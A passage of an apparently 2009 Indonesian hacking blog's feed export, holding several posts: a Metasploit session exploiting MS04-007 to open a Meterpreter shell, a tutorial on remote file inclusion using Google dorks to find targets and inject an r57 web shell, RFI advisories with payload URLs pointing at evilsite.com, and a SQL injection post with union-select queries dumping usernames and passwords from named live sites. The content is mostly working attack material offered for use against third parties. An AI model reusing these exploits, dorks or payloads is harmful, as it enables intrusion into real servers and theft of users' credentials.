Windows 2000 SP2-SP4 + Windows XP SP0-SP1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(ms04_007_killbill) &gt; set TARGET 0&lt;br /&gt;TARGET =&gt; 0&lt;br /&gt;msf exploit(ms04_007_killbill) &gt; show options&lt;br /&gt;&lt;br /&gt;Module options:&lt;br /&gt;&lt;br /&gt;Name   Current Setting  Required  Description                    &lt;br /&gt;----   ---------------  --------  -----------                    &lt;br /&gt;PROTO  smb              yes       Which protocol to use: http or smb&lt;br /&gt;RHOST  172.16.1.31      yes       The target address             &lt;br /&gt;RPORT  445              yes       Set the SMB service port       &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Payload options (windows/meterpreter/bind_tcp):&lt;br /&gt;&lt;br /&gt;Name      Current Setting  Required  Description                      &lt;br /&gt;----      ---------------  --------  -----------                      &lt;br /&gt;EXITFUNC  thread           yes       Exit technique: seh, thread, process&lt;br /&gt;LPORT     4444             yes       The local port                   &lt;br /&gt;RHOST     172.16.1.31      no        The target address               &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exploit target:&lt;br /&gt;&lt;br /&gt;Id  Name                                  &lt;br /&gt;--  ----                                  &lt;br /&gt;0   Windows 2000 SP2-SP4 + Windows XP SP0-SP1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(ms04_007_killbill) &gt; exploit&lt;br /&gt;&lt;br /&gt;[*] Started bind handler&lt;br /&gt;[*] Error: The server responded with error: STATUS_ACCESS_VIOLATION (Command=115 WordCount=0)&lt;br /&gt;[*] Transmitting intermediate stager for over-sized stage...(191 bytes)&lt;br /&gt;[*] Sending stage (2650 bytes)&lt;br /&gt;[*] Sleeping before handling stage...&lt;br /&gt;[*] Uploading DLL (75787 bytes)...&lt;br /&gt;[*] Upload completed.&lt;br /&gt;[*] Meterpreter session 3 opened (172.16.1.12:33484 -&gt; 172.16.1.31:4444)&lt;br /&gt;&lt;br /&gt;meterpreter &gt; sysinfo&lt;br /&gt;Computer: ******-******&lt;br /&gt;OS      : Windows XP (Build 2600, Service Pack 1).&lt;br /&gt;meterpreter &gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-6657590981689648397?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/6657590981689648397/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/metasploit-proof-of-concept-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/6657590981689648397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/6657590981689648397'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/metasploit-proof-of-concept-linux.html' title='Metasploit Proof of Concept [ Linux ]'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-8922019296589358209</id><published>2009-07-31T01:12:00.000-07:00</published><updated>2009-08-26T19:30:21.216-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>RFI</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:78%;"&gt;terima kasih teman2 ku yg mau berkunjung ke blog aq&lt;br /&gt;&lt;br /&gt;saya akan menjelaskan RFI, RFI adalah salah satu cara dalam penetrasi sebuah server melalui port 80&lt;br /&gt;&lt;br /&gt;tanpa panjang lebar langsung praktek yah&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;contoh:&lt;br /&gt;&lt;/span&gt;&lt;pre&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;- Dork &lt;==== adalah sebuah cara dalam mendapatkan target (artinya keyword yg kita&lt;br /&gt;ketik di mesin pencari seperti google)  &lt;br /&gt;- Vulnerable file &lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;==== &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;adalah sebuah file dimana ada celah keamanan&lt;br /&gt;&lt;br /&gt;contoh&lt;br /&gt;Dork       "Powered by MiniCWB"&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Vulnerable file&lt;/span&gt;&lt;span style="font-size:78%;"&gt; :&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;       language/en.inc.php&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;        language/hu.inc.php&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;        language/no.inc.php&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;        language/ro.inc.php&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;        language/ru.inc.php&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;- dari data diatas kalian coba ketik digoogle ke dari dark tersebut&lt;br /&gt;- maka akan banyak muncul web2 yang memiliki kelemahan dari file tersebut&lt;br /&gt;- ambil web target yg diinginkan (copy linknya jgn diklik)&lt;br /&gt;- edit link target yang diinginkan&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;img src="file:///C:/DOCUME%7E1/pelangi/LOCALS%7E1/Temp/moz-screenshot-2.jpg" alt="" /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:78%;"&gt;      http://localhost/[path]/language/en.inc.php?LANG=[evilc0de]&lt;br /&gt;     http://localhost/[path]/language/hu.inc.php?LANG=[evilc0de]&lt;br /&gt;     http://localhost/[path]/language/no.inc.php?LANG=[evilc0de]&lt;br /&gt;     http://localhost/[path]/language/ro.inc.php?LANG=[evilc0de]&lt;br /&gt;     http://localhost/[path]/language/ru.inc.php?LANG=[evilc&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;0de]&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;img style="font-weight: bold;" src="file:///C:/DOCUME%7E1/pelangi/LOCALS%7E1/Temp/moz-screenshot.jpg" alt="" /&gt;&lt;img style="font-weight: bold;" src="file:///C:/DOCUME%7E1/pelangi/LOCALS%7E1/Temp/moz-screenshot-1.jpg" alt="" /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;[evilc0de]&lt;/span&gt;&lt;span style="font-size:78%;"&gt; adalah sebuah script yg disisipkan di web yg kita punya&lt;br /&gt;&lt;br /&gt;contoh script g saya punya : http://geocities.com/anggri_yanto/r57.txt&lt;br /&gt;&lt;br /&gt;-jgn lp diakhiri tanda tanya untuk agar dieksekusi&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-8922019296589358209?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/8922019296589358209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/07/rfi.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/8922019296589358209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/8922019296589358209'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/07/rfi.html' title='RFI'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-7739122733194780561</id><published>2009-07-31T01:07:00.001-07:00</published><updated>2009-08-26T19:34:06.068-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>Ultrize TimeSheet 1.2.2 Remote File Inclusion Vulnerability</title><content type='html'>&lt;pre&gt;       Software : Ultrize TimeSheet version 1.2.2&lt;br /&gt;      Vendor   : http://www.ultrize.com/&lt;br /&gt;      Download : http://www.ultrize.com/timesheet/download/timeSheet-20080505.zip&lt;br /&gt;      Author   : NoGe&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;=====================================================================================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; [o] Vulnerable file&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      include($config['include_dir'].'timesheet.class.php');&lt;br /&gt;&lt;br /&gt;       include/timesheet.php&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; [o] Exploit&lt;br /&gt;&lt;br /&gt;      http://localhost/[path]/include/timesheet.php?config[include_dir]=[evilc0de]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====================================================================================&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-7739122733194780561?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/7739122733194780561/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/07/ultrize-timesheet-122-remote-file.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/7739122733194780561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/7739122733194780561'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/07/ultrize-timesheet-122-remote-file.html' title='Ultrize TimeSheet 1.2.2 Remote File Inclusion Vulnerability'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-8040546833105145010</id><published>2009-07-31T01:06:00.000-07:00</published><updated>2009-08-26T19:34:06.068-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>justVisual 1.2 (fs_jVroot) Remote File Inclusion Vulnerabilities</title><content type='html'>&lt;pre&gt;#################################################################################################################&lt;br /&gt;[+] justVisual 1.2 (fs_jVroot) Remote File Inclusion Vulnerabilities&lt;br /&gt;[+] Discovered By SirGod&lt;br /&gt;[+] http://insecurity-ro.org&lt;br /&gt;[+] http://h4cky0u.org&lt;br /&gt;##################################################################################################################&lt;br /&gt;&lt;br /&gt;[+] Download : http://www.fh54.de/justVisual/justVisual_1.2.zip&lt;br /&gt;&lt;br /&gt;[+] Remote File Inclusion&lt;br /&gt;&lt;br /&gt;- Vulnerable code is everywhere&lt;br /&gt;&lt;br /&gt;- PoC's&lt;br /&gt;&lt;br /&gt;  http://127.0.0.1/path/justVisual/sites/site/pages/index.php?fs_jVroot=http://evilsite.com/evilscript.txt&lt;br /&gt;&lt;br /&gt;  http://127.0.0.1/path/justVisual/sites/test/pages/contact.php?fs_jVroot=http://evilsite.com/evilscript.txt&lt;br /&gt;&lt;br /&gt;  http://127.0.0.1/path/justVisual/system/pageTemplate.php?fs_jVroot=http://evilsite.com/evilscript.txt&lt;br /&gt;&lt;br /&gt;  http://127.0.0.1/path/justVisual/system/utilities.php?fs_jVroot=http://evilsite.com/evilscript.txt&lt;br /&gt;&lt;br /&gt;##################################################################################################################&lt;br /&gt;&lt;br /&gt;# milw0rm.com [2009-07-30]&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-8040546833105145010?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/8040546833105145010/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/07/justvisual-12-fsjvroot-remote-file.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/8040546833105145010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/8040546833105145010'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/07/justvisual-12-fsjvroot-remote-file.html' title='justVisual 1.2 (fs_jVroot) Remote File Inclusion Vulnerabilities'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-1924069941904629808</id><published>2009-07-31T00:36:00.000-07:00</published><updated>2009-08-26T19:34:06.068-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'></title><content type='html'>&lt;h2 class="post-title"&gt; &lt;a href="http://evilc0de.blogspot.com/2009/07/linkspheric-074-beta-6-sql-inejction.html"&gt;linkSpheric 0.74 Beta 6 SQL Inejction Vuln&lt;/a&gt; &lt;span class="item-control blog-admin pid-449658019"&gt; &lt;a href="post-edit.g?blogID=8067811077743031893&amp;amp;postID=2154107773988518274" title="Edit Post"&gt; &lt;span class="quick-edit-icon"&gt; &lt;/span&gt; &lt;/a&gt; &lt;/span&gt; &lt;/h2&gt; &lt;h5 class="date-header"&gt;Thursday, July 31, 2009&lt;/h5&gt;  &lt;pre&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;[o] linkSpheric 0.74 Beta 6 SQL Inejction Vulnerability&lt;br /&gt;&lt;/span&gt;Software : linkSpheric version 0.74 Beta 6&lt;br /&gt;Vendor   : http://dataspheric.com/&lt;br /&gt;Download : http://sourceforge.net/projects/linkspheric/&lt;br /&gt;Referensi: NoGe&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[o] Vulnerable file&lt;/span&gt;&lt;br /&gt;viewListing.php&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[o] Exploit&lt;br /&gt;&lt;/span&gt;http://localhost/[path]/viewListing.php?listID=[SQL]&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;[o] Proof of concept&lt;br /&gt;&lt;/span&gt;http://dataspheric.com/directory/viewListing.php?listID=-52+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,group_concat(userName,0x3a,password),21,22,23,24,25,26,27,28+from+users--&lt;br /&gt;http://pcmsite.net/links/viewListing.php?listID=-5+union+select+1,2,3,4,5,6,7,8,group_concat(userName,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+users--&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;[o] Dork&lt;br /&gt;&lt;/span&gt;"Powered by linkSpheric"&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-1924069941904629808?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/1924069941904629808/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/07/linkspheric-0.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1924069941904629808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1924069941904629808'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/07/linkspheric-0.html' title=''/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry></feed>
